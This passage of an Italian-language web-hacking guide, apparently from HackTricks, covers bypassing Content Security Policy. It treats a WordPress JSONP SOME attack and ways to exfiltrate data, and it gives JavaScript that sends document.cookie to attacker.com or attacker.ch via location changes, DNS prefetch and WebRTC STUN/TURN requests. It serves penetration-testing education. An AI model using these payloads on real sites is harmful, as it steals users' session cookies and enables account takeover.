Inoltre, wordpress ha un endpoint JSONP in /wp-json/wp/v2/users/1?_jsonp=data che riflette i dati inviati nell'output (con la limitazione di solo lettere, numeri e punti).

Un attaccante può sfruttare quell'endpoint per generare un attacco SOME contro WordPress e incorporarlo all'interno di <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> nota che questo script sarà caricato perché è consentito da 'self'. Inoltre, e poiché WordPress è installato, un attaccante potrebbe sfruttare l'attacco SOME attraverso l'endpoint callback vulnerabile che bypassa il CSP per dare più privilegi a un utente, installare un nuovo plugin... Per ulteriori informazioni su come eseguire questo attacco, controlla https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Se c'è un CSP rigoroso che non ti consente di interagire con server esterni, ci sono alcune cose che puoi sempre fare per esfiltrare le informazioni.

Location

Potresti semplicemente aggiornare la posizione per inviare al server dell'attaccante le informazioni segrete:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Puoi reindirizzare iniettando un meta tag (questo è solo un reindirizzamento, non farà leak di contenuto)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Per caricare le pagine più velocemente, i browser pre-risolveranno i nomi host in indirizzi IP e li memorizzeranno per un uso successivo. Puoi indicare a un browser di pre-risolvere un nome host con: <link rel="dns-prefetch" href="something.com">

Potresti abusare di questo comportamento per esfiltrare informazioni sensibili tramite richieste DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Un altro modo:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Per evitare che ciò accada, il server può inviare l'intestazione HTTP:

X-DNS-Prefetch-Control: off

A quanto pare, questa tecnica non funziona nei browser headless (bot)

WebRTC

Su diverse pagine puoi leggere che WebRTC non controlla la politica connect-src del CSP.

In realtà puoi leak informazioni utilizzando una richiesta DNS. Dai un'occhiata a questo codice:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Un'altra opzione:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Controllare le politiche CSP online

Creazione automatica di CSP

https://csper.io/docs/generating-content-security-policy

Riferimenti

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Approfondimenti sul hacking Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

Notizie di hacking in tempo reale Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale

Ultimi annunci Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

Supporta HackTricks

Last updated